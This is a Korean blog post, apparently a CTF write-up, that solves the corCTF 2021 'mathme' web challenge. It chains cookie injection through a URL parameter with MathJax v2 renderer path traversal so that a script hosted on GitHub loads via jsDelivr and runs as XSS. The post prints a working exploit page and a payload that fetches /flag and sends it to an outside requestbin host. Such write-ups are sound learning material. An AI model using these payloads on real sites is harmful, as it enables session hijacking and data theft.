Profile

i love cat

as3617

corCTF 2021 - mathme writeup

아무리 라업을 찾아봐도 아무도 안올려주길래 직접 풀어봤다.

맨 처음 문제를 풀 땐 cookie를 읽는 거로 뭘 할 수 있을지 몰라서 못 풀었는데 공식 문서를 찾아보니

mathjax v2 에서는 cookie에 config 값들을 저장할 수 있다고 한다.

cookie에 저장된 config에는 mjx라는 prefix가 붙게 되는데 mjx.menu 설정을 보면 output format을 지정해주는 옵션이 있다.

cookie에 다음 값이 있으면 mathjax는 해당 버전의 output/svg/config.js를 불러오고 불러온 javascript를 토대로 output을 생성한다.

mjx.menu=renderer:svg

또한 cookie값을 기준으로 script를 불러올 때 굉장히 신기한 동작을 확인할 수 있었는데 svg대신 ../../../../../../../a#를 넣으면 아래와 같이 요청을 보낸다.

이를 통해 우리는 jsdelivr에 있는 임의의 script를 맘대로 import할 수 있다.
이제 cookie를 컨트롤할 방법을 찾아야하는데 문제 페이지에서 사용되는 script를 보니 아래와 같은 코드가 있었다.

    let cookies = {};

    if (document.cookie.length > 0) {
        decodeURIComponent(document.cookie).split(';').forEach(cookie => {
            const [name, value] = cookie.split('=');
            cookies[name] = value;
        })
    }

    cookies.lastVisited = new URLSearchParams(window.location.search).get('id');

    for (const key of Object.keys(cookies)) {
        document.cookie = `${key}=${encodeURIComponent(cookies[key])}`
    }

잘보면 id파라미터 값을 document.cookie에 넣어주는데 cookie값을 맘대로 컨트롤 할 수 있을 것 같다.

https://mathme.be.ax/note?id=1;asdf=asdf

위의 url로 접속하면

lastVisited에 id값이 정상적으로 들어가게 되고 이때 한번 더 새로고침을 하게 되면

정상적으로 쿠키가 삽입되는 것을 알 수 있다. 이제 cookie도 맘대로 컨트롤 하는게 가능한데 한가지 문제점이 생긴다.
jsdelivr에서 어떠한 script를 import해야할지를 모르는데 angularjs를 import해서 xss payload를 삽입해보았지만 xss가 발생하지 않았다.
그러다 굉장히 신기한 걸 발견했다.

https://cdn.jsdelivr.net/gh/as3617/asdf/asdf

jsdelivr cdn은 /gh/이후에 오는 경로로 github에서 fetch를 해주는 것 같다. 굉장히 신기한 기능이다. 그럼 이제 우린 깃헙에 exploit 코드를 업로드하고 해당 코드를 import해온다면 xss공격을 할 수 있다.

fetch('/flag')
  .then(response => response.text())
  .then(data => location='https://enjz2rnlbmvxg.x.pipedream.net/?q='+(data));

위의 코드를 github에 올린 뒤 jsdelivr로 접근해보았다.

잘 접근된다. cookie 값을 추가하려면 lastVistited에 임의의 값을 집어넣고 한번 더 새로고침을 해줘야한다. bot이 접속하는 url에 제한이 없기
때문에 내 서버로 데려온 뒤 exploit을 진행하면 될 것 같다.

payload

<html>
<body onload=exploit()>
</body> 
<script>
        function sleep(ms) {
                  return new Promise((r) => setTimeout(r, ms));
        }
        async function exploit(){
                url1 = 'https://mathme.be.ax/note?id=1;mjx.menu=renderer:../../../../../../gh/as3617/forCTF/exploit.js%23';
                window.open(url1);
                await sleep(2000);
                url2 = 'https://mathme.be.ax/note?id=1asdf';
                window.open(url2);
        }
</script>
</html>

'ctf writeup' 카테고리의 다른 글

Hack.lu CTF 2021 - web writeup  (1) 2021.10.31
asis ctf 2021 - web writeup  (0) 2021.10.25
corCTF 2021 - mathme writeup  (0) 2021.08.24
corCTF 2021 - Web writeup  (0) 2021.08.23
SSTF 2021 - poxe_center writeup  (0) 2021.08.17
IJCTF 2021 Memory  (0) 2021.07.25